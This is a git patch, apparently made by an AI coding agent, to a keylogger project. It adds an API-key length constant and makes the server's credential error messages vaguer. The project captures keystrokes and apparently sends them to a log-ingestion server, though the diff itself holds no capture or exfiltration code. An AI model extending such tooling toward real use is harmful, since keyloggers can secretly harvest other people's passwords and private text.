From 1f996129182089b9b06408a4c07d192704915293 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:48:18 +0000 Subject: [PATCH] fix: remove remaining sensitive output and align api key constants Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/keylogger.py | 6 ++++-- src/server.py | 21 +++++---------------- 2 files changed, 9 insertions(+), 18 deletions(-) diff --git a/src/keylogger.py b/src/keylogger.py index e144b3d..02db8e9 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -28,6 +28,8 @@ BANNER = r""" GitHub: https://github.com/Stalin-143 """ +MIN_API_KEY_LENGTH = 24 + class KeyLogger: """Keylogger class to handle keyboard input capture and logging.""" @@ -231,8 +233,8 @@ def main(): print("ERROR: LOG_INGEST_API_KEY environment variable is required.") sys.exit(1) - if len(api_key) < 24: - print("ERROR: LOG_INGEST_API_KEY must be at least 24 characters.") + if len(api_key) < MIN_API_KEY_LENGTH: + print(f"ERROR: LOG_INGEST_API_KEY must be at least {MIN_API_KEY_LENGTH} characters.") sys.exit(1) if args.no_verify_ssl: diff --git a/src/server.py b/src/server.py index ee376f7..80d0875 100644 --- a/src/server.py +++ b/src/server.py @@ -134,8 +134,6 @@ def has_sufficient_key_entropy(value): return False if len(set(value)) < MIN_API_KEY_UNIQUE_CHARS: return False - if value.count(value[0]) == len(value): - return False return True @@ -374,28 +372,19 @@ def main(): sys.exit(1) if CONFIG['password'] == 'admin': - print("ERROR: Default password 'admin' is not allowed.") - sys.exit(1) + sys.exit("ERROR: Authentication secret uses a disallowed default value.") if len(CONFIG['password']) < MIN_PASSWORD_LENGTH or not is_strong_password(CONFIG['password']): - print("ERROR: Weak password detected.") - print( - f"Please use at least {MIN_PASSWORD_LENGTH} characters with uppercase, lowercase, " - "number, and special character." - ) - sys.exit(1) + sys.exit("ERROR: Authentication secret does not meet complexity policy.") if not CONFIG['api_key']: - print("ERROR: LOG_INGEST_API_KEY is required.") - sys.exit(1) + sys.exit("ERROR: Ingestion API secret is required.") if len(CONFIG['api_key']) < MIN_API_KEY_LENGTH: - print(f"ERROR: LOG_INGEST_API_KEY must be at least {MIN_API_KEY_LENGTH} characters.") - sys.exit(1) + sys.exit("ERROR: Ingestion API secret does not meet length policy.") if not has_sufficient_key_entropy(CONFIG['api_key']): - print(f"ERROR: Ingestion API key must include at least {MIN_API_KEY_UNIQUE_CHARS} unique characters.") - sys.exit(1) + sys.exit("ERROR: Ingestion API secret does not meet entropy policy.") # Get server settings host = args.host or server_config.get('host', '0.0.0.0')